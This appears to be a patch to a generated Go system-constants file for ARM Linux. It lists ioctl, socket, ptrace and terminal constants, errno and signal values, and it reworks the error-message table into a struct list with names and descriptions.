-+ O_NOFOLLOW = 0x8000
-+ O_NONBLOCK = 0x800
-+ O_PATH = 0x200000
-+ O_RSYNC = 0x101000
-+ O_SYNC = 0x101000
-+ O_TMPFILE = 0x404000
-+ O_TRUNC = 0x200
-+ PARENB = 0x100
-+ PARODD = 0x200
-+ PENDIN = 0x4000
-+ PERF_EVENT_IOC_DISABLE = 0x2401
-+ PERF_EVENT_IOC_ENABLE = 0x2400
-+ PERF_EVENT_IOC_ID = 0x80042407
-+ PERF_EVENT_IOC_MODIFY_ATTRIBUTES = 0x4004240b
-+ PERF_EVENT_IOC_PAUSE_OUTPUT = 0x40042409
-+ PERF_EVENT_IOC_PERIOD = 0x40082404
-+ PERF_EVENT_IOC_QUERY_BPF = 0xc004240a
-+ PERF_EVENT_IOC_REFRESH = 0x2402
-+ PERF_EVENT_IOC_RESET = 0x2403
-+ PERF_EVENT_IOC_SET_BPF = 0x40042408
-+ PERF_EVENT_IOC_SET_FILTER = 0x40042406
-+ PERF_EVENT_IOC_SET_OUTPUT = 0x2405
-+ PPPIOCATTACH = 0x4004743d
-+ PPPIOCATTCHAN = 0x40047438
-+ PPPIOCCONNECT = 0x4004743a
-+ PPPIOCDETACH = 0x4004743c
-+ PPPIOCDISCONN = 0x7439
-+ PPPIOCGASYNCMAP = 0x80047458
-+ PPPIOCGCHAN = 0x80047437
-+ PPPIOCGDEBUG = 0x80047441
-+ PPPIOCGFLAGS = 0x8004745a
-+ PPPIOCGIDLE = 0x8008743f
-+ PPPIOCGIDLE32 = 0x8008743f
-+ PPPIOCGIDLE64 = 0x8010743f
-+ PPPIOCGL2TPSTATS = 0x80487436
-+ PPPIOCGMRU = 0x80047453
-+ PPPIOCGRASYNCMAP = 0x80047455
-+ PPPIOCGUNIT = 0x80047456
-+ PPPIOCGXASYNCMAP = 0x80207450
-+ PPPIOCSACTIVE = 0x40087446
-+ PPPIOCSASYNCMAP = 0x40047457
-+ PPPIOCSCOMPRESS = 0x400c744d
-+ PPPIOCSDEBUG = 0x40047440
-+ PPPIOCSFLAGS = 0x40047459
-+ PPPIOCSMAXCID = 0x40047451
-+ PPPIOCSMRRU = 0x4004743b
-+ PPPIOCSMRU = 0x40047452
-+ PPPIOCSNPMODE = 0x4008744b
-+ PPPIOCSPASS = 0x40087447
-+ PPPIOCSRASYNCMAP = 0x40047454
-+ PPPIOCSXASYNCMAP = 0x4020744f
-+ PPPIOCXFERUNIT = 0x744e
-+ PR_SET_PTRACER_ANY = 0xffffffff
-+ PTRACE_GETCRUNCHREGS = 0x19
-+ PTRACE_GETFDPIC = 0x1f
-+ PTRACE_GETFDPIC_EXEC = 0x0
-+ PTRACE_GETFDPIC_INTERP = 0x1
-+ PTRACE_GETFPREGS = 0xe
-+ PTRACE_GETHBPREGS = 0x1d
-+ PTRACE_GETVFPREGS = 0x1b
-+ PTRACE_GETWMMXREGS = 0x12
-+ PTRACE_GET_THREAD_AREA = 0x16
-+ PTRACE_OLDSETOPTIONS = 0x15
-+ PTRACE_SETCRUNCHREGS = 0x1a
-+ PTRACE_SETFPREGS = 0xf
-+ PTRACE_SETHBPREGS = 0x1e
-+ PTRACE_SETVFPREGS = 0x1c
-+ PTRACE_SETWMMXREGS = 0x13
-+ PTRACE_SET_SYSCALL = 0x17
-+ PT_DATA_ADDR = 0x10004
-+ PT_TEXT_ADDR = 0x10000
-+ PT_TEXT_END_ADDR = 0x10008
-+ RLIMIT_AS = 0x9
-+ RLIMIT_MEMLOCK = 0x8
-+ RLIMIT_NOFILE = 0x7
-+ RLIMIT_NPROC = 0x6
-+ RLIMIT_RSS = 0x5
-+ RNDADDENTROPY = 0x40085203
-+ RNDADDTOENTCNT = 0x40045201
-+ RNDCLEARPOOL = 0x5206
-+ RNDGETENTCNT = 0x80045200
-+ RNDGETPOOL = 0x80085202
-+ RNDRESEEDCRNG = 0x5207
-+ RNDZAPENTCNT = 0x5204
-+ RTC_AIE_OFF = 0x7002
-+ RTC_AIE_ON = 0x7001
-+ RTC_ALM_READ = 0x80247008
-+ RTC_ALM_SET = 0x40247007
-+ RTC_EPOCH_READ = 0x8004700d
-+ RTC_EPOCH_SET = 0x4004700e
-+ RTC_IRQP_READ = 0x8004700b
-+ RTC_IRQP_SET = 0x4004700c
-+ RTC_PIE_OFF = 0x7006
-+ RTC_PIE_ON = 0x7005
-+ RTC_PLL_GET = 0x801c7011
-+ RTC_PLL_SET = 0x401c7012
-+ RTC_RD_TIME = 0x80247009
-+ RTC_SET_TIME = 0x4024700a
-+ RTC_UIE_OFF = 0x7004
-+ RTC_UIE_ON = 0x7003
-+ RTC_VL_CLR = 0x7014
-+ RTC_VL_READ = 0x80047013
-+ RTC_WIE_OFF = 0x7010
-+ RTC_WIE_ON = 0x700f
-+ RTC_WKALM_RD = 0x80287010
-+ RTC_WKALM_SET = 0x4028700f
-+ SCM_TIMESTAMPING = 0x25
-+ SCM_TIMESTAMPING_OPT_STATS = 0x36
-+ SCM_TIMESTAMPING_PKTINFO = 0x3a
-+ SCM_TIMESTAMPNS = 0x23
-+ SCM_TXTIME = 0x3d
-+ SCM_WIFI_STATUS = 0x29
-+ SFD_CLOEXEC = 0x80000
-+ SFD_NONBLOCK = 0x800
-+ SIOCATMARK = 0x8905
-+ SIOCGPGRP = 0x8904
-+ SIOCGSTAMPNS_NEW = 0x80108907
-+ SIOCGSTAMP_NEW = 0x80108906
-+ SIOCINQ = 0x541b
-+ SIOCOUTQ = 0x5411
-+ SIOCSPGRP = 0x8902
-+ SOCK_CLOEXEC = 0x80000
-+ SOCK_DGRAM = 0x2
-+ SOCK_NONBLOCK = 0x800
-+ SOCK_STREAM = 0x1
-+ SOL_SOCKET = 0x1
-+ SO_ACCEPTCONN = 0x1e
-+ SO_ATTACH_BPF = 0x32
-+ SO_ATTACH_REUSEPORT_CBPF = 0x33
-+ SO_ATTACH_REUSEPORT_EBPF = 0x34
-+ SO_BINDTODEVICE = 0x19
-+ SO_BINDTOIFINDEX = 0x3e
-+ SO_BPF_EXTENSIONS = 0x30
-+ SO_BROADCAST = 0x6
-+ SO_BSDCOMPAT = 0xe
-+ SO_BUSY_POLL = 0x2e
-+ SO_CNX_ADVICE = 0x35
-+ SO_COOKIE = 0x39
-+ SO_DETACH_REUSEPORT_BPF = 0x44
-+ SO_DOMAIN = 0x27
-+ SO_DONTROUTE = 0x5
-+ SO_ERROR = 0x4
-+ SO_INCOMING_CPU = 0x31
-+ SO_INCOMING_NAPI_ID = 0x38
-+ SO_KEEPALIVE = 0x9
-+ SO_LINGER = 0xd
-+ SO_LOCK_FILTER = 0x2c
-+ SO_MARK = 0x24
-+ SO_MAX_PACING_RATE = 0x2f
-+ SO_MEMINFO = 0x37
-+ SO_NOFCS = 0x2b
-+ SO_OOBINLINE = 0xa
-+ SO_PASSCRED = 0x10
-+ SO_PASSSEC = 0x22
-+ SO_PEEK_OFF = 0x2a
-+ SO_PEERCRED = 0x11
-+ SO_PEERGROUPS = 0x3b
-+ SO_PEERSEC = 0x1f
-+ SO_PROTOCOL = 0x26
-+ SO_RCVBUF = 0x8
-+ SO_RCVBUFFORCE = 0x21
-+ SO_RCVLOWAT = 0x12
-+ SO_RCVTIMEO = 0x14
-+ SO_RCVTIMEO_NEW = 0x42
-+ SO_RCVTIMEO_OLD = 0x14
-+ SO_REUSEADDR = 0x2
-+ SO_REUSEPORT = 0xf
-+ SO_RXQ_OVFL = 0x28
-+ SO_SECURITY_AUTHENTICATION = 0x16
-+ SO_SECURITY_ENCRYPTION_NETWORK = 0x18
-+ SO_SECURITY_ENCRYPTION_TRANSPORT = 0x17
-+ SO_SELECT_ERR_QUEUE = 0x2d
-+ SO_SNDBUF = 0x7
-+ SO_SNDBUFFORCE = 0x20
-+ SO_SNDLOWAT = 0x13
-+ SO_SNDTIMEO = 0x15
-+ SO_SNDTIMEO_NEW = 0x43
-+ SO_SNDTIMEO_OLD = 0x15
-+ SO_TIMESTAMPING = 0x25
-+ SO_TIMESTAMPING_NEW = 0x41
-+ SO_TIMESTAMPING_OLD = 0x25
-+ SO_TIMESTAMPNS = 0x23
-+ SO_TIMESTAMPNS_NEW = 0x40
-+ SO_TIMESTAMPNS_OLD = 0x23
-+ SO_TIMESTAMP_NEW = 0x3f
-+ SO_TXTIME = 0x3d
-+ SO_TYPE = 0x3
-+ SO_WIFI_STATUS = 0x29
-+ SO_ZEROCOPY = 0x3c
-+ TAB1 = 0x800
-+ TAB2 = 0x1000
-+ TAB3 = 0x1800
-+ TABDLY = 0x1800
-+ TCFLSH = 0x540b
-+ TCGETA = 0x5405
-+ TCGETS = 0x5401
-+ TCGETS2 = 0x802c542a
-+ TCGETX = 0x5432
-+ TCSAFLUSH = 0x2
-+ TCSBRK = 0x5409
-+ TCSBRKP = 0x5425
-+ TCSETA = 0x5406
-+ TCSETAF = 0x5408
-+ TCSETAW = 0x5407
-+ TCSETS = 0x5402
-+ TCSETS2 = 0x402c542b
-+ TCSETSF = 0x5404
-+ TCSETSF2 = 0x402c542d
-+ TCSETSW = 0x5403
-+ TCSETSW2 = 0x402c542c
-+ TCSETX = 0x5433
-+ TCSETXF = 0x5434
-+ TCSETXW = 0x5435
-+ TCXONC = 0x540a
-+ TIOCCBRK = 0x5428
-+ TIOCCONS = 0x541d
-+ TIOCEXCL = 0x540c
-+ TIOCGDEV = 0x80045432
-+ TIOCGETD = 0x5424
-+ TIOCGEXCL = 0x80045440
-+ TIOCGICOUNT = 0x545d
-+ TIOCGISO7816 = 0x80285442
-+ TIOCGLCKTRMIOS = 0x5456
-+ TIOCGPGRP = 0x540f
-+ TIOCGPKT = 0x80045438
-+ TIOCGPTLCK = 0x80045439
-+ TIOCGPTN = 0x80045430
-+ TIOCGPTPEER = 0x5441
-+ TIOCGRS485 = 0x542e
-+ TIOCGSERIAL = 0x541e
-+ TIOCGSID = 0x5429
-+ TIOCGSOFTCAR = 0x5419
-+ TIOCGWINSZ = 0x5413
-+ TIOCINQ = 0x541b
-+ TIOCLINUX = 0x541c
-+ TIOCMBIC = 0x5417
-+ TIOCMBIS = 0x5416
-+ TIOCMGET = 0x5415
-+ TIOCMIWAIT = 0x545c
-+ TIOCMSET = 0x5418
-+ TIOCM_CAR = 0x40
-+ TIOCM_CD = 0x40
-+ TIOCM_CTS = 0x20
-+ TIOCM_DSR = 0x100
-+ TIOCM_RI = 0x80
-+ TIOCM_RNG = 0x80
-+ TIOCM_SR = 0x10
-+ TIOCM_ST = 0x8
-+ TIOCNOTTY = 0x5422
-+ TIOCNXCL = 0x540d
-+ TIOCOUTQ = 0x5411
-+ TIOCPKT = 0x5420
-+ TIOCSBRK = 0x5427
-+ TIOCSCTTY = 0x540e
-+ TIOCSERCONFIG = 0x5453
-+ TIOCSERGETLSR = 0x5459
-+ TIOCSERGETMULTI = 0x545a
-+ TIOCSERGSTRUCT = 0x5458
-+ TIOCSERGWILD = 0x5454
-+ TIOCSERSETMULTI = 0x545b
-+ TIOCSERSWILD = 0x5455
-+ TIOCSER_TEMT = 0x1
-+ TIOCSETD = 0x5423
-+ TIOCSIG = 0x40045436
-+ TIOCSISO7816 = 0xc0285443
-+ TIOCSLCKTRMIOS = 0x5457
-+ TIOCSPGRP = 0x5410
-+ TIOCSPTLCK = 0x40045431
-+ TIOCSRS485 = 0x542f
-+ TIOCSSERIAL = 0x541f
-+ TIOCSSOFTCAR = 0x541a
-+ TIOCSTI = 0x5412
-+ TIOCSWINSZ = 0x5414
-+ TIOCVHANGUP = 0x5437
-+ TOSTOP = 0x100
-+ TUNATTACHFILTER = 0x400854d5
-+ TUNDETACHFILTER = 0x400854d6
-+ TUNGETDEVNETNS = 0x54e3
-+ TUNGETFEATURES = 0x800454cf
-+ TUNGETFILTER = 0x800854db
-+ TUNGETIFF = 0x800454d2
-+ TUNGETSNDBUF = 0x800454d3
-+ TUNGETVNETBE = 0x800454df
-+ TUNGETVNETHDRSZ = 0x800454d7
-+ TUNGETVNETLE = 0x800454dd
-+ TUNSETCARRIER = 0x400454e2
-+ TUNSETDEBUG = 0x400454c9
-+ TUNSETFILTEREBPF = 0x800454e1
-+ TUNSETGROUP = 0x400454ce
-+ TUNSETIFF = 0x400454ca
-+ TUNSETIFINDEX = 0x400454da
-+ TUNSETLINK = 0x400454cd
-+ TUNSETNOCSUM = 0x400454c8
-+ TUNSETOFFLOAD = 0x400454d0
-+ TUNSETOWNER = 0x400454cc
-+ TUNSETPERSIST = 0x400454cb
-+ TUNSETQUEUE = 0x400454d9
-+ TUNSETSNDBUF = 0x400454d4
-+ TUNSETSTEERINGEBPF = 0x800454e0
-+ TUNSETTXFILTER = 0x400454d1
-+ TUNSETVNETBE = 0x400454de
-+ TUNSETVNETHDRSZ = 0x400454d8
-+ TUNSETVNETLE = 0x400454dc
-+ UBI_IOCATT = 0x40186f40
-+ UBI_IOCDET = 0x40046f41
-+ UBI_IOCEBCH = 0x40044f02
-+ UBI_IOCEBER = 0x40044f01
-+ UBI_IOCEBISMAP = 0x80044f05
-+ UBI_IOCEBMAP = 0x40084f03
-+ UBI_IOCEBUNMAP = 0x40044f04
-+ UBI_IOCMKVOL = 0x40986f00
-+ UBI_IOCRMVOL = 0x40046f01
-+ UBI_IOCRNVOL = 0x51106f03
-+ UBI_IOCRPEB = 0x40046f04
-+ UBI_IOCRSVOL = 0x400c6f02
-+ UBI_IOCSETVOLPROP = 0x40104f06
-+ UBI_IOCSPEB = 0x40046f05
-+ UBI_IOCVOLCRBLK = 0x40804f07
-+ UBI_IOCVOLRMBLK = 0x4f08
-+ UBI_IOCVOLUP = 0x40084f00
-+ VDISCARD = 0xd
-+ VEOF = 0x4
-+ VEOL = 0xb
-+ VEOL2 = 0x10
-+ VMIN = 0x6
-+ VREPRINT = 0xc
-+ VSTART = 0x8
-+ VSTOP = 0x9
-+ VSUSP = 0xa
-+ VSWTC = 0x7
-+ VT1 = 0x4000
-+ VTDLY = 0x4000
-+ VTIME = 0x5
-+ VWERASE = 0xe
-+ WDIOC_GETBOOTSTATUS = 0x80045702
-+ WDIOC_GETPRETIMEOUT = 0x80045709
-+ WDIOC_GETSTATUS = 0x80045701
-+ WDIOC_GETSUPPORT = 0x80285700
-+ WDIOC_GETTEMP = 0x80045703
-+ WDIOC_GETTIMELEFT = 0x8004570a
-+ WDIOC_GETTIMEOUT = 0x80045707
-+ WDIOC_KEEPALIVE = 0x80045705
-+ WDIOC_SETOPTIONS = 0x80045704
-+ WORDSIZE = 0x20
-+ XCASE = 0x4
-+ XTABS = 0x1800
- )
-
- // Errors
- const (
-- E2BIG = syscall.Errno(0x7)
-- EACCES = syscall.Errno(0xd)
- EADDRINUSE = syscall.Errno(0x62)
- EADDRNOTAVAIL = syscall.Errno(0x63)
- EADV = syscall.Errno(0x44)
- EAFNOSUPPORT = syscall.Errno(0x61)
-- EAGAIN = syscall.Errno(0xb)
- EALREADY = syscall.Errno(0x72)
- EBADE = syscall.Errno(0x34)
-- EBADF = syscall.Errno(0x9)
- EBADFD = syscall.Errno(0x4d)
- EBADMSG = syscall.Errno(0x4a)
- EBADR = syscall.Errno(0x35)
- EBADRQC = syscall.Errno(0x38)
- EBADSLT = syscall.Errno(0x39)
- EBFONT = syscall.Errno(0x3b)
-- EBUSY = syscall.Errno(0x10)
- ECANCELED = syscall.Errno(0x7d)
-- ECHILD = syscall.Errno(0xa)
- ECHRNG = syscall.Errno(0x2c)
- ECOMM = syscall.Errno(0x46)
- ECONNABORTED = syscall.Errno(0x67)
-@@ -1886,23 +506,15 @@ const (
- EDEADLK = syscall.Errno(0x23)
- EDEADLOCK = syscall.Errno(0x23)
- EDESTADDRREQ = syscall.Errno(0x59)
-- EDOM = syscall.Errno(0x21)
- EDOTDOT = syscall.Errno(0x49)
- EDQUOT = syscall.Errno(0x7a)
-- EEXIST = syscall.Errno(0x11)
-- EFAULT = syscall.Errno(0xe)
-- EFBIG = syscall.Errno(0x1b)
- EHOSTDOWN = syscall.Errno(0x70)
- EHOSTUNREACH = syscall.Errno(0x71)
- EHWPOISON = syscall.Errno(0x85)
- EIDRM = syscall.Errno(0x2b)
- EILSEQ = syscall.Errno(0x54)
- EINPROGRESS = syscall.Errno(0x73)
-- EINTR = syscall.Errno(0x4)
-- EINVAL = syscall.Errno(0x16)
-- EIO = syscall.Errno(0x5)
- EISCONN = syscall.Errno(0x6a)
-- EISDIR = syscall.Errno(0x15)
- EISNAM = syscall.Errno(0x78)
- EKEYEXPIRED = syscall.Errno(0x7f)
- EKEYREJECTED = syscall.Errno(0x81)
-@@ -1919,8 +531,6 @@ const (
- ELNRNG = syscall.Errno(0x30)
- ELOOP = syscall.Errno(0x28)
- EMEDIUMTYPE = syscall.Errno(0x7c)
-- EMFILE = syscall.Errno(0x18)
-- EMLINK = syscall.Errno(0x1f)
- EMSGSIZE = syscall.Errno(0x5a)
- EMULTIHOP = syscall.Errno(0x48)
- ENAMETOOLONG = syscall.Errno(0x24)
-@@ -1928,103 +538,70 @@ const (
- ENETDOWN = syscall.Errno(0x64)
- ENETRESET = syscall.Errno(0x66)
- ENETUNREACH = syscall.Errno(0x65)
-- ENFILE = syscall.Errno(0x17)
- ENOANO = syscall.Errno(0x37)
- ENOBUFS = syscall.Errno(0x69)
- ENOCSI = syscall.Errno(0x32)
- ENODATA = syscall.Errno(0x3d)
-- ENODEV = syscall.Errno(0x13)
-- ENOENT = syscall.Errno(0x2)
-- ENOEXEC = syscall.Errno(0x8)
- ENOKEY = syscall.Errno(0x7e)
- ENOLCK = syscall.Errno(0x25)
- ENOLINK = syscall.Errno(0x43)
- ENOMEDIUM = syscall.Errno(0x7b)
-- ENOMEM = syscall.Errno(0xc)
- ENOMSG = syscall.Errno(0x2a)
- ENONET = syscall.Errno(0x40)
- ENOPKG = syscall.Errno(0x41)
- ENOPROTOOPT = syscall.Errno(0x5c)
-- ENOSPC = syscall.Errno(0x1c)
- ENOSR = syscall.Errno(0x3f)
- ENOSTR = syscall.Errno(0x3c)
- ENOSYS = syscall.Errno(0x26)
-- ENOTBLK = syscall.Errno(0xf)
- ENOTCONN = syscall.Errno(0x6b)
-- ENOTDIR = syscall.Errno(0x14)
- ENOTEMPTY = syscall.Errno(0x27)
- ENOTNAM = syscall.Errno(0x76)
- ENOTRECOVERABLE = syscall.Errno(0x83)
- ENOTSOCK = syscall.Errno(0x58)
- ENOTSUP = syscall.Errno(0x5f)
-- ENOTTY = syscall.Errno(0x19)
- ENOTUNIQ = syscall.Errno(0x4c)
-- ENXIO = syscall.Errno(0x6)
- EOPNOTSUPP = syscall.Errno(0x5f)
- EOVERFLOW = syscall.Errno(0x4b)
- EOWNERDEAD = syscall.Errno(0x82)
-- EPERM = syscall.Errno(0x1)
- EPFNOSUPPORT = syscall.Errno(0x60)
-- EPIPE = syscall.Errno(0x20)
- EPROTO = syscall.Errno(0x47)
- EPROTONOSUPPORT = syscall.Errno(0x5d)
- EPROTOTYPE = syscall.Errno(0x5b)
-- ERANGE = syscall.Errno(0x22)
- EREMCHG = syscall.Errno(0x4e)
- EREMOTE = syscall.Errno(0x42)
- EREMOTEIO = syscall.Errno(0x79)
- ERESTART = syscall.Errno(0x55)
- ERFKILL = syscall.Errno(0x84)
-- EROFS = syscall.Errno(0x1e)
- ESHUTDOWN = syscall.Errno(0x6c)
- ESOCKTNOSUPPORT = syscall.Errno(0x5e)
-- ESPIPE = syscall.Errno(0x1d)
-- ESRCH = syscall.Errno(0x3)
- ESRMNT = syscall.Errno(0x45)
- ESTALE = syscall.Errno(0x74)
- ESTRPIPE = syscall.Errno(0x56)
- ETIME = syscall.Errno(0x3e)
- ETIMEDOUT = syscall.Errno(0x6e)
- ETOOMANYREFS = syscall.Errno(0x6d)
-- ETXTBSY = syscall.Errno(0x1a)
- EUCLEAN = syscall.Errno(0x75)
- EUNATCH = syscall.Errno(0x31)
- EUSERS = syscall.Errno(0x57)
-- EWOULDBLOCK = syscall.Errno(0xb)
-- EXDEV = syscall.Errno(0x12)
- EXFULL = syscall.Errno(0x36)
- )
-
- // Signals
- const (
-- SIGABRT = syscall.Signal(0x6)
-- SIGALRM = syscall.Signal(0xe)
- SIGBUS = syscall.Signal(0x7)
- SIGCHLD = syscall.Signal(0x11)
- SIGCLD = syscall.Signal(0x11)
- SIGCONT = syscall.Signal(0x12)
-- SIGFPE = syscall.Signal(0x8)
-- SIGHUP = syscall.Signal(0x1)
-- SIGILL = syscall.Signal(0x4)
-- SIGINT = syscall.Signal(0x2)
- SIGIO = syscall.Signal(0x1d)
-- SIGIOT = syscall.Signal(0x6)
-- SIGKILL = syscall.Signal(0x9)
-- SIGPIPE = syscall.Signal(0xd)
- SIGPOLL = syscall.Signal(0x1d)
- SIGPROF = syscall.Signal(0x1b)
- SIGPWR = syscall.Signal(0x1e)
-- SIGQUIT = syscall.Signal(0x3)
-- SIGSEGV = syscall.Signal(0xb)
- SIGSTKFLT = syscall.Signal(0x10)
- SIGSTOP = syscall.Signal(0x13)
- SIGSYS = syscall.Signal(0x1f)
-- SIGTERM = syscall.Signal(0xf)
-- SIGTRAP = syscall.Signal(0x5)
- SIGTSTP = syscall.Signal(0x14)
- SIGTTIN = syscall.Signal(0x15)
- SIGTTOU = syscall.Signal(0x16)
-- SIGUNUSED = syscall.Signal(0x1f)
- SIGURG = syscall.Signal(0x17)
- SIGUSR1 = syscall.Signal(0xa)
- SIGUSR2 = syscall.Signal(0xc)
-@@ -2035,171 +612,179 @@ const (
- )
-
- // Error table
--var errors = [...]string{
-- 1: "operation not permitted",
-- 2: "no such file or directory",
-- 3: "no such process",
-- 4: "interrupted system call",
-- 5: "input/output error",
-- 6: "no such device or address",
-- 7: "argument list too long",
-- 8: "exec format error",
-- 9: "bad file descriptor",
-- 10: "no child processes",
-- 11: "resource temporarily unavailable",
-- 12: "cannot allocate memory",
-- 13: "permission denied",
-- 14: "bad address",
-- 15: "block device required",
-- 16: "device or resource busy",
-- 17: "file exists",
-- 18: "invalid cross-device link",
-- 19: "no such device",
-- 20: "not a directory",
-- 21: "is a directory",
-- 22: "invalid argument",
-- 23: "too many open files in system",
-- 24: "too many open files",
-- 25: "inappropriate ioctl for device",
-- 26: "text file busy",
-- 27: "file too large",
-- 28: "no space left on device",
-- 29: "illegal seek",
-- 30: "read-only file system",
-- 31: "too many links",
-- 32: "broken pipe",
-- 33: "numerical argument out of domain",
-- 34: "numerical result out of range",
-- 35: "resource deadlock avoided",
-- 36: "file name too long",
-- 37: "no locks available",
-- 38: "function not implemented",
-- 39: "directory not empty",
-- 40: "too many levels of symbolic links",
-- 42: "no message of desired type",
-- 43: "identifier removed",
-- 44: "channel number out of range",
-- 45: "level 2 not synchronized",
-- 46: "level 3 halted",
-- 47: "level 3 reset",
-- 48: "link number out of range",
-- 49: "protocol driver not attached",
-- 50: "no CSI structure available",
-- 51: "level 2 halted",
-- 52: "invalid exchange",
-- 53: "invalid request descriptor",
-- 54: "exchange full",
-- 55: "no anode",
-- 56: "invalid request code",
-- 57: "invalid slot",
-- 59: "bad font file format",
-- 60: "device not a stream",
-- 61: "no data available",
-- 62: "timer expired",
-- 63: "out of streams resources",
-- 64: "machine is not on the network",
-- 65: "package not installed",
-- 66: "object is remote",
-- 67: "link has been severed",
-- 68: "advertise error",
-- 69: "srmount error",
-- 70: "communication error on send",
-- 71: "protocol error",
-- 72: "multihop attempted",
-- 73: "RFS specific error",
-- 74: "bad message",
-- 75: "value too large for defined data type",
-- 76: "name not unique on network",
-- 77: "file descriptor in bad state",
-- 78: "remote address changed",
-- 79: "can not access a needed shared library",
-- 80: "accessing a corrupted shared library",
-- 81: ".lib section in a.out corrupted",
-- 82: "attempting to link in too many shared libraries",
-- 83: "cannot exec a shared library directly",
-- 84: "invalid or incomplete multibyte or wide character",
-- 85: "interrupted system call should be restarted",
-- 86: "streams pipe error",
-- 87: "too many users",
-- 88: "socket operation on non-socket",
-- 89: "destination address required",
-- 90: "message too long",
-- 91: "protocol wrong type for socket",
-- 92: "protocol not available",
-- 93: "protocol not supported",
-- 94: "socket type not supported",
-- 95: "operation not supported",
-- 96: "protocol family not supported",
-- 97: "address family not supported by protocol",
-- 98: "address already in use",
-- 99: "cannot assign requested address",
-- 100: "network is down",
-- 101: "network is unreachable",
-- 102: "network dropped connection on reset",
-- 103: "software caused connection abort",
-- 104: "connection reset by peer",
-- 105: "no buffer space available",
-- 106: "transport endpoint is already connected",
-- 107: "transport endpoint is not connected",
-- 108: "cannot send after transport endpoint shutdown",
-- 109: "too many references: cannot splice",
-- 110: "connection timed out",
-- 111: "connection refused",
-- 112: "host is down",
-- 113: "no route to host",
-- 114: "operation already in progress",
-- 115: "operation now in progress",
-- 116: "stale file handle",
-- 117: "structure needs cleaning",
-- 118: "not a XENIX named type file",
-- 119: "no XENIX semaphores available",
-- 120: "is a named type file",
-- 121: "remote I/O error",
-- 122: "disk quota exceeded",
-- 123: "no medium found",
-- 124: "wrong medium type",
-- 125: "operation canceled",
-- 126: "required key not available",
-- 127: "key has expired",
-- 128: "key has been revoked",
-- 129: "key was rejected by service",
-- 130: "owner died",
-- 131: "state not recoverable",
-- 132: "operation not possible due to RF-kill",
-- 133: "memory page has hardware error",
-+var errorList = [...]struct {
-+ num syscall.Errno
-+ name string
-+ desc string
-+}{
-+ {1, "EPERM", "operation not permitted"},
-+ {2, "ENOENT", "no such file or directory"},
-+ {3, "ESRCH", "no such process"},
-+ {4, "EINTR", "interrupted system call"},
-+ {5, "EIO", "input/output error"},
-+ {6, "ENXIO", "no such device or address"},
-+ {7, "E2BIG", "argument list too long"},
-+ {8, "ENOEXEC", "exec format error"},
-+ {9, "EBADF", "bad file descriptor"},
-+ {10, "ECHILD", "no child processes"},
-+ {11, "EAGAIN", "resource temporarily unavailable"},
-+ {12, "ENOMEM", "cannot allocate memory"},
-+ {13, "EACCES", "permission denied"},
-+ {14, "EFAULT", "bad address"},
-+ {15, "ENOTBLK", "block device required"},
-+ {16, "EBUSY", "device or resource busy"},
-+ {17, "EEXIST", "file exists"},
-+ {18, "EXDEV", "invalid cross-device link"},
-+ {19, "ENODEV", "no such device"},
-+ {20, "ENOTDIR", "not a directory"},
-+ {21, "EISDIR", "is a directory"},
-+ {22, "EINVAL", "invalid argument"},
-+ {23, "ENFILE", "too many open files in system"},
-+ {24, "EMFILE", "too many open files"},
-+ {25, "ENOTTY", "inappropriate ioctl for device"},
-+ {26, "ETXTBSY", "text file busy"},
-+ {27, "EFBIG", "file too large"},
-+ {28, "ENOSPC", "no space left on device"},
-+ {29, "ESPIPE", "illegal seek"},
-+ {30, "EROFS", "read-only file system"},
-+ {31, "EMLINK", "too many links"},
-+ {32, "EPIPE", "broken pipe"},
-+ {33, "EDOM", "numerical argument out of domain"},
-+ {34, "ERANGE", "numerical result out of range"},
-+ {35, "EDEADLK", "resource deadlock avoided"},
-+ {36, "ENAMETOOLONG", "file name too long"},
-+ {37, "ENOLCK", "no locks available"},
-+ {38, "ENOSYS", "function not implemented"},
-+ {39, "ENOTEMPTY", "directory not empty"},
-+ {40, "ELOOP", "too many levels of symbolic links"},
-+ {42, "ENOMSG", "no message of desired type"},
-+ {43, "EIDRM", "identifier removed"},
-+ {44, "ECHRNG", "channel number out of range"},
-+ {45, "EL2NSYNC", "level 2 not synchronized"},
-+ {46, "EL3HLT", "level 3 halted"},
-+ {47, "EL3RST", "level 3 reset"},
-+ {48, "ELNRNG", "link number out of range"},
-+ {49, "EUNATCH", "protocol driver not attached"},
-+ {50, "ENOCSI", "no CSI structure available"},
-+ {51, "EL2HLT", "level 2 halted"},
-+ {52, "EBADE", "invalid exchange"},
-+ {53, "EBADR", "invalid request descriptor"},
-+ {54, "EXFULL", "exchange full"},
-+ {55, "ENOANO", "no anode"},
-+ {56, "EBADRQC", "invalid request code"},
-+ {57, "EBADSLT", "invalid slot"},
-+ {59, "EBFONT", "bad font file format"},
-+ {60, "ENOSTR", "device not a stream"},
-+ {61, "ENODATA", "no data available"},
-+ {62, "ETIME", "timer expired"},
-+ {63, "ENOSR", "out of streams resources"},
-+ {64, "ENONET", "machine is not on the network"},
-+ {65, "ENOPKG", "package not installed"},
-+ {66, "EREMOTE", "object is remote"},
-+ {67, "ENOLINK", "link has been severed"},
-+ {68, "EADV", "advertise error"},
-+ {69, "ESRMNT", "srmount error"},
-+ {70, "ECOMM", "communication error on send"},
-+ {71, "EPROTO", "protocol error"},
-+ {72, "EMULTIHOP", "multihop attempted"},
-+ {73, "EDOTDOT", "RFS specific error"},
-+ {74, "EBADMSG", "bad message"},
-+ {75, "EOVERFLOW", "value too large for defined data type"},
-+ {76, "ENOTUNIQ", "name not unique on network"},
-+ {77, "EBADFD", "file descriptor in bad state"},
-+ {78, "EREMCHG", "remote address changed"},
-+ {79, "ELIBACC", "can not access a needed shared library"},
-+ {80, "ELIBBAD", "accessing a corrupted shared library"},
-+ {81, "ELIBSCN", ".lib section in a.out corrupted"},
-+ {82, "ELIBMAX", "attempting to link in too many shared libraries"},
-+ {83, "ELIBEXEC", "cannot exec a shared library directly"},
-+ {84, "EILSEQ", "invalid or incomplete multibyte or wide character"},
-+ {85, "ERESTART", "interrupted system call should be restarted"},
-+ {86, "ESTRPIPE", "streams pipe error"},
-+ {87, "EUSERS", "too many users"},
-+ {88, "ENOTSOCK", "socket operation on non-socket"},
-+ {89, "EDESTADDRREQ", "destination address required"},
-+ {90, "EMSGSIZE", "message too long"},
-+ {91, "EPROTOTYPE", "protocol wrong type for socket"},
-+ {92, "ENOPROTOOPT", "protocol not available"},
-+ {93, "EPROTONOSUPPORT", "protocol not supported"},
-+ {94, "ESOCKTNOSUPPORT", "socket type not supported"},
-+ {95, "ENOTSUP", "operation not supported"},
-+ {96, "EPFNOSUPPORT", "protocol family not supported"},
